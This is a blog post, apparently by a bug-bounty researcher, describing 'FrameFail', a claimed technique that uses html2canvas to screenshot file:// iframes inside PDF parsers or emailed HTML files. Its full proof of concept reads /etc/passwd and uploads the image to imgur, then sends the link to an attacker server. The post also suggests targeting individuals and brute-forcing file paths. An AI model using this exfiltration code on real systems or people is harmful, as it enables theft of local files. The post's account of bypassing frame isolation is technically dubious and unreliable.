Greetings $readers;
Now that this issue has been patched, I will release a short writeup covering my exploit that allowed me to abuse HTML5’s Canvas API to read the contents of an iframe from outside of the context of that frame.
All modern browsers prevent you from being able to read the contents of an iframe from outside of that frame, for security reasons. For example if you had an iframe with some text included in your webpage, and then you had some JavaScript in your top-level webpage written to extract the string of text from the iframe, then you would be prevented from doing so for security reasons.
I bring to you “FrameFail”, my exploit that allowed me to bypass these security restrictions by taking advantage of HTML5 Canvas API’s “snapshot” feature. Generally, this is one of these times where I would have kept the method private (as I was using it in a LOT of instances to abuse SSRF in PDF pasrsers via HTMLi in bug bounties) but some skidiot from my private discord server who I thought could be trusted decided to start sharing it with his friends, so I reported it to the affected browsers before it got spread around and cybercriminals began to abuse it. Aforementioned skid has now been removed from my private discord server, but I had to burn this 0day in the process — I’m sure most readers are familiar with such vulns in PDF parsers where you can escalate a HTMLi to SSRF via an injected iframe, however I’m specifically talking about in instances where the HTMLi/SSRF was Blind/OOB, rather than you being able to view the outputted results of the PDF that contained your injected HTML with your iframe.
For example I had a HTMLi -> SSRF vulnerability affecting a PDF parser in a US DoD website, however I couldn’t view the outputted PDF because this functionality was designed to generate the PDF and email it to a specific *.mil domain that belonged to the site administrator.
I was able to confirm that SSRF did indeed exist by having a request made to a WebDAV instance that I was hosting, via my injected iframe with a file:// URI scheme pointing to the IP address of my WebDAV instance (where I could then check the logs to see the request made from the DoD website), but of course with the generated PDF being emailed to the site admin rather than downloadable for anyone to view means that it’s a Blind/OOB exploitation scenario, and I was unable to figure out any method of triggering RCE via it.. luckily, I had my trusty “FrameFail” exploit to (ab)use in order to allow me to at least turn the SSRF into LFD setting my iframe src to a file:// URI. Of course in most scenarios, this would be useless because you wouldn’t actually be able to view the contents of the frame since it’s OOB, and you wouldn’t be able to write a script to extract/read the contents of the frame, since no modern browser will allow you to read a frame contents from outside of that frame.. except I had a hidden trick up my sleeve.
My “FrameFail” exploit worked in the following manner:
- In HTML5, there is a built-in browser API known as “Canvas”, this API has several different purposes, but its primary purpose is that it allows you to create 2D graphics and even rudimentary animations within your browser by using JavaScript.
- More importantly though, the HTML5 Canvas API has a “snapshot” feature that allows you to build a basic screenshot of the page source. This can be done via manually writing code to interact with HTML’s Canvas API, or to save time there are even a few pre-made libraries that can be used to do this for you, such as “html2canvas” or “html-to-image”.
- I chose to use the “html2canvas” library specifically, as I was more familiar with that one, however I’m sure it would have worked via the “html-to-image” library too.
- I wrote up a basic PoC which loads the file I want to read into an irfame using the SSRF payload with a file:// URI scheme, then it uses the html2canvas library to have the Canvas API generate a snapshot of the webpage — this allows you to circumvent the protections that modern browsers have in place to prevent you from being able to read the contents of an iframe, as the image which is generated by html2canvas will show you a snapshot of the webpage including the iframe and its contents.
- After the snapshot is generated including the iframe and its contents, it then interacts with imgur.com via its API and uploads the generated scrfeenshot.
- Some additional code is then ran which logs the URL of the newly-uploaded image to your server, allowing you to either download it directly to your server or open it via your web browser.
- From here, it’s simply a case of manually reading the text shown within the iframe by looking at the generated screenshot, allowing you to bypass the browser-based protections that prevent you from being able to read the contents of an iframe.
This is just an example of one of many potential exploitation scenarios. If you wanted to target a person rather than a website, then you could read the contents of local files on their machine if you had them open the HTML document locally (for example if you sent it to them as an email attachment, and they downloaded and opened it). If they’re on Windows you could set an iframe src to file:/C:boot.ini and if they’re on Linux you could set an iframe src to a value such as file:/etc/passwd — If you didn’t know their OS or didn’t know the path to a specific file you wanted to read, then you could even attempt to “bruteforce” the file path by loading dozens (or hundreds) of iframes within the same webpage, each one pointing to a slightly different path to the file in hopes that one of them contains the correct path.. so being able to read frame contents opened the door to both server-side and client-side exploitation scenarios (with the primary risk being information disclosure through means of local file read — one limitation is that only a few PDF parsers were affected, because the vast majority of them will just render a page’s HTML contents, but a few of them will actually open the HTML document prior to rendering it, rather than just feeding it directly into the PDF parser. It is these parsers where this poses a security risk, because they will execute the JavaScript alongside it, obviously this can allow for Blind XSS to be triggered, but it can also allow for us to abuse html2canvas to get LFD via reading the contents of the iframe through the screenshot that it generated and uploaded).
Below you can find a basic PoC demonstrating how this would work (tested on Chrome, Firefox, IE9, Brave, and MS Edge. The same PoC worked on all of the mentioned web browsers. All modern browsers have Canvas API configured by default.. as long as they have HTML5 support, they should have Canvas API there by default, so it’s only ancient web browsers that weren’t affected):
<!doctype HTML>
<html>
<head>
<title>lolol</title>
<script src="https://html2canvas.hertzen.com/dist/html2canvas.js"></script>
</head>
<body>
<h2>Don't mind me, I'm just reading the contents of your iframe</h2>
<p>... and uploading it to imgur</p>
<br />
<div id="getRekt">
<iframe src="file:///etc/passwd" width="666" height="5000" frameborder="0">
Oh, to live in a godless and frameless society..
</iframe>
</div>
<!-- not implemented here, but we need the data base64'd then decoded @ server-side -->
<script>
html2canvas(document.querySelector("#getRekt")).then(function(canvas) {
var dataURL = canvas.toDataURL();
$.ajax({
url: 'https://api.imgur.com/3/image',
type: 'post',
headers: {
Authorization: 'yourauthcode'
},
data: {
image: dataURL
},
dataType: 'json',
success: function(response) {
if(response.success) {
// Post the imgur url to your server.
$.post("yourlinkuploadserver", response.data.link);
}
}
});
});
});
</script>
</body>
</html>
Obviously when HTML5 was integrated into modern browsers, none of the people writing such browsers considered the potential security implications of it having the potential to generate a screenshot that included the contents of an iframe in the page, therefore allowing us to read the frame contents from outside of the context of that frame, something that is disallowed in JavaScript (or in general) for security purposes.
Now that I’ve decided to start making blog posts again, I will be posting a few different 0days affecting various products that I’ve found in recent years which take advantage of my “FrameFail” technique to escalate OOB SSRF’s in certain specific PDF parsers.
That’s all for now.
./mlt –out
Leave a Reply